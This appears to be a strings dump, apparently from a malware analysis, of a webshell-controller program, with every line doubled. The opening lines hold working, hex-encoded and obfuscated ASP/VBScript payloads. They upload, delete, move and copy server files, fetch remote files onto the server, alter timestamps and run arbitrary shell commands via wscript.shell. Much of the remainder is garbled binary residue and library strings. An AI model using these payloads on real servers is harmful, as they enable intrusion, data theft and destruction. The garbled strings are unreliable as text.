{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D206C2C73732C66662C543A66663D6264287265717565737428227A312229293A73733D5265717565737428227A3222293A6C3D4C656E287373293A53657420533D5365727665722E4372656174654F626A656374282241646F64622E53747265616D22293A5769746820533A2E547970653D313A2E4D6F64653D333A2E4F70656E3A4966205265717565737428227A3322293E30205468656E3A2E4C6F616446726F6D46696C652022222666662622223A2E506F736974696F6E3D2E53697A653A456E642049663A7365742072733D4372656174654F626A656374282241444F44422E5265636F726473657422293A72732E6669656C64732E617070656E6420226262222C3230352C6C2F323A72732E6F70656E3A72732E6164646E65773A72732822626222293D73732B636872622830293A72732E7570646174653A2E57726974652072732822626222292E6765746368756E6B286C2F32293A72732E636C6F73653A5365742072733D4E6F7468696E673A2E506F736974696F6E3D303A2E53617665546F46696C652022222666662622222C323A2E436C6F73653A456E6420576974683A53657420533D4E6F7468696E673A496620457272205468656E3A543D4572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A543D2231223A456E642049663A526573706F6E73652E5772697465285429"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D206C2C73732C66662C543A66663D6264287265717565737428227A312229293A73733D5265717565737428227A3222293A6C3D4C656E287373293A53657420533D5365727665722E4372656174654F626A656374282241646F64622E53747265616D22293A5769746820533A2E547970653D313A2E4D6F64653D333A2E4F70656E3A4966205265717565737428227A3322293E30205468656E3A2E4C6F616446726F6D46696C652022222666662622223A2E506F736974696F6E3D2E53697A653A456E642049663A7365742072733D4372656174654F626A656374282241444F44422E5265636F726473657422293A72732E6669656C64732E617070656E6420226262222C3230352C6C2F323A72732E6F70656E3A72732E6164646E65773A72732822626222293D73732B636872622830293A72732E7570646174653A2E57726974652072732822626222292E6765746368756E6B286C2F32293A72732E636C6F73653A5365742072733D4E6F7468696E673A2E506F736974696F6E3D303A2E53617665546F46696C652022222666662622222C323A2E436C6F73653A456E6420576974683A53657420533D4E6F7468696E673A496620457272205468656E3A543D4572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A543D2231223A456E642049663A526573706F6E73652E5772697465285429"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20503A503D5265717565737428227A3122293A5365742046533D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046532E466F6C6465724578697374732850293D74727565205468656E3A46532E44656C657465466F6C6465722850293A456C73653A46532E44656C65746546696C652850293A456E642049663A5365742046533D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A526573706F6E73652E57726974652853293A456E64204966"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20503A503D5265717565737428227A3122293A5365742046533D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046532E466F6C6465724578697374732850293D74727565205468656E3A46532E44656C657465466F6C6465722850293A456C73653A46532E44656C65746546696C652850293A456E642049663A5365742046533D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A526573706F6E73652E57726974652853293A456E64204966"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""5365742046733D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A46732E437265617465466F6C646572285265717565737428227A312229293A5365742046733D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""5365742046733D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A46732E437265617465466F6C646572285265717565737428227A312229293A5365742046733D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""53463D5265717565737428227A3122293A44463D5265717565737428227A3222293A5365742046733D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046732E466F6C64657245786973747328534629205468656E3A46732E4D6F7665466F6C6465722053462C44463A456C73653A46732E4D6F766546696C652053462C44463A456E642049663A5365742046733D4E6F7468696E673A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""53463D5265717565737428227A3122293A44463D5265717565737428227A3222293A5365742046733D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046732E466F6C64657245786973747328534629205468656E3A46732E4D6F7665466F6C6465722053462C44463A456C73653A46732E4D6F766546696C652053462C44463A456E642049663A5365742046733D4E6F7468696E673A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""464E3D5265717565737428227A3122293A544D3D5265717565737428227A3222293A41413D53706C697428464E2C225C5C22293A50543D22223A466F7220693D4C426F756E642841412920546F2055426F756E64284141292D313A50543D505426414128692926225C223A4E6578743A4E4D3D41412855426F756E6428414129293A5365727665722E4372656174654F626A65637428225368656C6C2E4170706C69636174696F6E22292E4E616D655370616365285054292E50617273654E616D65284E4D292E4D6F64696679646174653D544D3A496620457272205468656E3A53493D224552524F523A2F2F2022265054264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""464E3D5265717565737428227A3122293A544D3D5265717565737428227A3222293A41413D53706C697428464E2C225C5C22293A50543D22223A466F7220693D4C426F756E642841412920546F2055426F756E64284141292D313A50543D505426414128692926225C223A4E6578743A4E4D3D41412855426F756E6428414129293A5365727665722E4372656174654F626A65637428225368656C6C2E4170706C69636174696F6E22292E4E616D655370616365285054292E50617273654E616D65284E4D292E4D6F64696679646174653D544D3A496620457272205468656E3A53493D224552524F523A2F2F2022265054264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""53463D5265717565737428227A3122293A44463D5265717565737428227A3222293A5365742046733D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046732E466F6C64657245786973747328534629205468656E3A46732E436F7079466F6C6465722053462C44463A456C73653A46732E436F707946696C652053462C44463A456E642049663A5365742046733D4E6F7468696E673A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A656C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""53463D5265717565737428227A3122293A44463D5265717565737428227A3222293A5365742046733D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046732E466F6C64657245786973747328534629205468656E3A46732E436F7079466F6C6465722053462C44463A456C73653A46732E436F707946696C652053462C44463A456E642049663A5365742046733D4E6F7468696E673A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A656C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D2053493A53657420783D4372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293A782E4F70656E2022474554222C2222266264285265717565737428227A312229292622222C303A782E53656E6428293A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A73657420733D4372656174654F626A656374282241444F44422E53747265616D22293A732E4D6F64653D333A732E547970653D313A732E4F70656E28293A732E577269746520782E526573706F6E7365426F64793A732E53617665546F46696C65202222266264285265717565737428227A322229292622222C323A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A53493D2231223A456E642049663A53657420783D4E6F7468696E673A53657420733D4E6F7468696E673A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D2053493A53657420783D4372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293A782E4F70656E2022474554222C2222266264285265717565737428227A312229292622222C303A782E53656E6428293A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A73657420733D4372656174654F626A656374282241444F44422E53747265616D22293A732E4D6F64653D333A732E547970653D313A732E4F70656E28293A732E577269746520782E526573706F6E7365426F64793A732E53617665546F46696C65202222266264285265717565737428227A322229292622222C323A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A53493D2231223A456E642049663A53657420783D4E6F7468696E673A53657420733D4E6F7468696E673A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""53657420583D4372656174654F626A6563742822777363726970742E7368656C6C22292E657865632822222222266264285265717565737428227A3122292926222222202F6320222222266264285265717565737428227A322229292622222222293A496620457272205468656E3A533D225B4572725D2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A4F3D582E5374644F75742E52656164416C6C28293A453D582E5374644572722E52656164416C6C28293A533D4F26453A456E642049663A526573706F6E73652E7772697465285329"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""53657420583D4372656174654F626A6563742822777363726970742E7368656C6C22292E657865632822222222266264285265717565737428227A3122292926222222202F6320222222266264285265717565737428227A322229292622222222293A496620457272205468656E3A533D225B4572725D2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A4F3D582E5374644F75742E52656164416C6C28293A453D582E5374644572722E52656164416C6C28293A533D4F26453A456E642049663A526573706F6E73652E7772697465285329"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""{SCRIPT}"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""{SCRIPT}"""")):Response.Write(""""|
243! 1&)&;1
243! 1&)&;1
\Zn\%x
\Zn\%x
rfvxvs&i(g*n,k.sK
rfvxvs&i(g*n,k.sK
'/-2121072 ;
'/-2121072 ;
%&'()* 4
%&'()* 4
s_q jrdh%C'I{|l
s_q jrdh%C'I{|l
,.-0,*.7&4
,.-0,*.7&4
,4;;
,4;;
-c};:loi
-c};:loi
!(QMg#'.XSm)-4_Ys/3:f_y59@me
!(QMg#'.XSm)-4_Ys/3:f_y59@me
.LM19
.LM19
33.#782';=6 ?B:/CG>3GLB7KQF;OVJ?TQN0.EFG\ZVK`_ZOdd^ShibWlnf[psj_txncx}rg|
33.#782';=6 ?B:/CG>3GLB7KQF;OVJ?TQN0.EFG\ZVK`_ZOdd^ShibWlnf[psj_txncx}rg|
#($'&'* 3 %8
#($'&'* 3 %8
!"#f%C'um?jrs6q
!"#f%C'um?jrs6q
!"#&)#'*,
!"#&)#'*,
,)()/.. $7
,)()/.. $7
7&,,'*./
7&,,'*./
$%xl|~|y,zrDot
$%xl|~|y,zrDot
!'7-.&-(9
!'7-.&-(9
QR6.KL1CI=" 789:;?@ABCDEF
QR6.KL1CI=" 789:;?@ABCDEF
adodb.stream
adodb.stream
P@function urlencode(a)
P@function urlencode(a)
function urldecode(a)
function urldecode(a)
urlencode
urlencode
urldecode
urldecode
Math.round(new Date().getTime())
Math.round(new Date().getTime())
Math.round(new Date().getTime()/1000)
Math.round(new Date().getTime()/1000)
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'([35-8abe-hj-mo-qsu-zA-Z]|1\\w)'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('p 1j(1k,V,W,E){j 8,b,a,6,q,F,v,X,G;j 1a,Y,Z,5,O,P;j w,Q,10,C,J;p 1b(){y(b.g&&(b[b.g-1]===\' \'||b[b.g-1]===G)){b.1c()}}p l(R){R=typeof R===\'undefined\'?u:R;1b();3(!b.g){e}3(b[b.g-1]!=="\\n"||!R){b.S("\\n")}11(j i=0;i=8.g){e[\'\',\'1i\']}c=8.o(5);5 =1;3(c==="\\n"){15 =1}}y(x(c,1a));3(15>1){11(j i=0;i=8.g){h}}}5 =2;e[\'/*\' N \'*/\',\'1r\']}3(8.o(5)===\'/\'){N=c;y(8.o(5)!=="\\x0d"&&8.o(5)!=="\\x0a"){N =8.o(5);5 =1;3(5>=8.g){h}}5 =1;3(1p){l()}e[N,\'1s\']}}3(c==="\'"||c===\'"\'||(c===\'/\'&&((6===\'A\'&&q===\'e\')||(6===\'B\'||6===\'I\'||6===\'H\'||6===\'1i\'||6===\'M\')))){j 16=c;j T=f;c=\'\';3(5=8.g){h}}}5 =1;3(6===\'M\'){l()}e[16 c 16,\'1t\']}3(x(c,Z)){y(5=8.g){h}}e[c,\'H\']}e[c,\'1u\']}W=W||\' \';V=V||4;G=\'\';y(V--){G =W}8=1k;F=\'\';6=\'B\';q=\'\';b=[];10=f;C=f;J=f;1a="\\n\\r\\t ".17(\'\');Y=\'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$\'.17(\'\');Z=\' - * / % & -- = = -= *= /= $= == === != !== > = > >> >>>= >>=
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'([35-8abe-hj-mo-qsu-zA-Z]|1\\w)'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('p 1j(1k,V,W,E){j 8,b,a,6,q,F,v,X,G;j 1a,Y,Z,5,O,P;j w,Q,10,C,J;p 1b(){y(b.g&&(b[b.g-1]===\' \'||b[b.g-1]===G)){b.1c()}}p l(R){R=typeof R===\'undefined\'?u:R;1b();3(!b.g){e}3(b[b.g-1]!=="\\n"||!R){b.S("\\n")}11(j i=0;i=8.g){e[\'\',\'1i\']}c=8.o(5);5 =1;3(c==="\\n"){15 =1}}y(x(c,1a));3(15>1){11(j i=0;i=8.g){h}}}5 =2;e[\'/*\' N \'*/\',\'1r\']}3(8.o(5)===\'/\'){N=c;y(8.o(5)!=="\\x0d"&&8.o(5)!=="\\x0a"){N =8.o(5);5 =1;3(5>=8.g){h}}5 =1;3(1p){l()}e[N,\'1s\']}}3(c==="\'"||c===\'"\'||(c===\'/\'&&((6===\'A\'&&q===\'e\')||(6===\'B\'||6===\'I\'||6===\'H\'||6===\'1i\'||6===\'M\')))){j 16=c;j T=f;c=\'\';3(5=8.g){h}}}5 =1;3(6===\'M\'){l()}e[16 c 16,\'1t\']}3(x(c,Z)){y(5=8.g){h}}e[c,\'H\']}e[c,\'1u\']}W=W||\' \';V=V||4;G=\'\';y(V--){G =W}8=1k;F=\'\';6=\'B\';q=\'\';b=[];10=f;C=f;J=f;1a="\\n\\r\\t ".17(\'\');Y=\'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$\'.17(\'\');Z=\' - * / % & -- = = -= *= /= $= == === != !== > = > >> >>>= >>=
i
i
) a[i] = ("00" str.charCodeAt(i ).toString(16)).slice(-4);
) a[i] = ("00" str.charCodeAt(i ).toString(16)).slice(-4);
return "\\u" a.join("\\u");
return "\\u" a.join("\\u");
return unescape(str.replace(/\\/g, "%"));
return unescape(str.replace(/\\/g, "%"));
) a[i] = str.charCodeAt(i );
) a[i] = str.charCodeAt(i );
return "" a.join(";") ";";
return "" a.join(";") ";";
return str.replace(/(x)?([^&]{1,5});?/g, function (a, b, c) {
return str.replace(/(x)?([^&]{1,5});?/g, function (a, b, c) {
return String.fromCharCode(parseInt(c,b?16:10));
return String.fromCharCode(parseInt(c,b?16:10));
1970-01-01 08:00:00
1970-01-01 08:00:00
1970-01-01 00:00:00
1970-01-01 00:00:00
Webshell
Webshell
_outport
_outport
.yEODq
.yEODq
.comment {color:green}
.comment {color:green}
%d&&'
%d&&'
123456789
123456789
00003333
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
inflate 1.1.3 Copyright 1995-1998 Mark Adler
1.2.18
1.2.18
%*.*f
%*.*f
CNotSupportedException
CNotSupportedException
commctrl_DragListMsg
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
Afx:%x:%x
COMCTL32.DLL
COMCTL32.DLL
CCmdTarget
CCmdTarget
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
user32.dll
user32.dll
iphlpapi.dll
iphlpapi.dll
SHLWAPI.dll
SHLWAPI.dll
MPR.dll
MPR.dll
VERSION.dll
VERSION.dll
WININET.dll
WININET.dll
.PAVCException@@
.PAVCException@@
Shell32.dll
Shell32.dll
Mpr.dll
Mpr.dll
Advapi32.dll
Advapi32.dll
User32.dll
User32.dll
Gdi32.dll
Gdi32.dll
Kernel32.dll
Kernel32.dll
(&07-034/)7 '
(&07-034/)7 '
?? / %d]
?? / %d]
%d / %d]
%d / %d]
.PAVCFileException@@
.PAVCFileException@@
: %d]
: %d]
(*.*)|*.*||
(*.*)|*.*||
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
(*.CUR)|*.CUR|
%s:%d
%s:%d
windows
windows
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
out.prn
out.prn
(*.prn)|*.prn|
(*.prn)|*.prn|
%d.%d
%d.%d
%d/%d
%d/%d
1.6.9
1.6.9
unsupported zlib version
unsupported zlib version
png_read_image: unsupported transformation
png_read_image: unsupported transformation
%d / %d
%d / %d
Bogus message code %d
Bogus message code %d
libpng error: %s
libpng error: %s
libpng warning: %s
libpng warning: %s
1.1.3
1.1.3
bad keyword
bad keyword
libpng does not support gamma background rgb_to_gray
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
Palette is NULL in indexed image
(%d-%d):
(%d-%d):
%ld%c
%ld%c
hXXp://VVV.eyuyan.com
hXXp://VVV.eyuyan.com
service@dywt.com.cn
service@dywt.com.cn
86(0411)39895834
86(0411)39895834
86(0411)39895831
86(0411)39895831
This is a runtime library file for EPL applications. The EPL is a software development environment. For details please visit VVV.dywt.com.cn/info
This is a runtime library file for EPL applications. The EPL is a software development environment. For details please visit VVV.dywt.com.cn/info
DelAllKeyValues
DelAllKeyValues
DelKeyValue
DelKeyValue
GetAllKeys
GetAllKeys
GetKeyValue
GetKeyValue
AddKeyValue
AddKeyValue
DSGetErrMsg
DSGetErrMsg
BiTreeGetCurNodeKey
BiTreeGetCurNodeKey
ListGetCurNodeKey
ListGetCurNodeKey
ListUpdateNodeFromKey
ListUpdateNodeFromKey
ListRemoveNodeFromKey
ListRemoveNodeFromKey
edatastructure_fnMapDelAllKeyValues
edatastructure_fnMapDelAllKeyValues
edatastructure_fnMapDelKeyValue
edatastructure_fnMapDelKeyValue
edatastructure_fnMapGetAllKeys
edatastructure_fnMapGetAllKeys
edatastructure_fnMapGetKeyValue
edatastructure_fnMapGetKeyValue
edatastructure_fnMapAddKeyValue
edatastructure_fnMapAddKeyValue
edatastructure_fnBiTreeGetCurNodeKey
edatastructure_fnBiTreeGetCurNodeKey
edatastructure_fnListGetCurNodeKey
edatastructure_fnListGetCurNodeKey
edatastructure_fnListUpdateNodeFromKey
edatastructure_fnListUpdateNodeFromKey
edatastructure_fnListRemoveNodeFromKey
edatastructure_fnListRemoveNodeFromKey
burlywood
burlywood
\winhlp32.exe
\winhlp32.exe
(*.avi)|*.avi
(*.avi)|*.avi
WPFT532.CNV
WPFT532.CNV
WPFT632.CNV
WPFT632.CNV
EXCEL32.CNV
EXCEL32.CNV
write32.wpc
write32.wpc
Windows Write
Windows Write
mswrd632.wpc
mswrd632.wpc
Word for Windows 6.0
Word for Windows 6.0
wword5.cnv
wword5.cnv
Word for Windows 5.0
Word for Windows 5.0
mswrd832.cnv
mswrd832.cnv
mswrd632.cnv
mswrd632.cnv
Word 6.0/95 for Windows & Macintosh
Word 6.0/95 for Windows & Macintosh
html32.cnv
html32.cnv
;3 #>6.&
;3 #>6.&
'2, / 0&7!4-)1#
'2, / 0&7!4-)1#
(*.htm;*.html)|*.htm;*.html
(*.htm;*.html)|*.htm;*.html
glViewport
glViewport
glTexEnvfv
glTexEnvfv
glTexEnvf
glTexEnvf
\glu32.dll
\glu32.dll
\Opengl32.dll
\Opengl32.dll
glPassThrough
glPassThrough
.PAVCOleException@@
.PAVCOleException@@
.PAVCObject@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCUserException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCOleDispatchException@@
.PAVCOleDispatchException@@
.PAVCArchiveException@@
.PAVCArchiveException@@
zcÃ
zcÃ
c:\%original file name%.exe
c:\%original file name%.exe
